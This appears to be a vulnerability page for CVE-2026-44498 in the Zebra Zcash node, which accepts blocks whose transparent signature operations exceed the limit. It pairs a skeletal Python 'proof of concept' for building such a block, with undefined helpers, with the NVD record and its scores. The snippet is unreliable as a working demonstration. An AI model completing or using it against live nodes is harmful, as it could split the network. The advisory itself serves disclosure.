CVE-2026-44498

# POC Concept for CVE-2026-44498 # This script demonstrates the logic to create a block that bypasses Zebra's sigop check. # Note: Actual mining requires a full implementation and network access. def create_malicious_block(transactions): """ Constructs a block where transparent signature operations are undercounted. """ block = { "version": 4, "transactions": transactions, # In vulnerable versions, Zebra undercounts these. "transparent_sigops": count_transparent_sigops(transactions) } # Simulate the vulnerability: The actual count exceeds MAX_BLOCK_SIGOPS (20000) # but Zebra thinks it's valid. actual_sigops = calculate_actual_sigops(transactions) if actual_sigops > 20000 and block['transparent_sigops'] <= 20000: print(f"Vulnerable block created! Actual sigops: {actual_sigops}, Counted sigops: {block['transparent_sigops']}") return block else: print("Block is valid or vulnerability not triggered.") return None # Example usage # txs = generate_transactions_with_excessive_sigops(20001) # malicious_block = create_malicious_block(txs)

{"cve": {"id": "CVE-2026-44498", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:17:01.637", "lastModified": "2026-05-08T18:40:55.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. Prior to version 4.4.0, Zebra's block validator undercounts transparent signature operations against the 20000-sigop block limit (MAX_BLOCK_SIGOPS), allowing it to accept blocks that zcashd rejects with bad-blk-sigops. A miner who produces such a block can split the network: Zebra nodes follow the offending chain while zcashd nodes do not. This issue has been patched in version 4.4.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-682"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "23232F98-CB60-4B90-B46A-430E3E1CE10B"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-jv4h-j224-23cc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}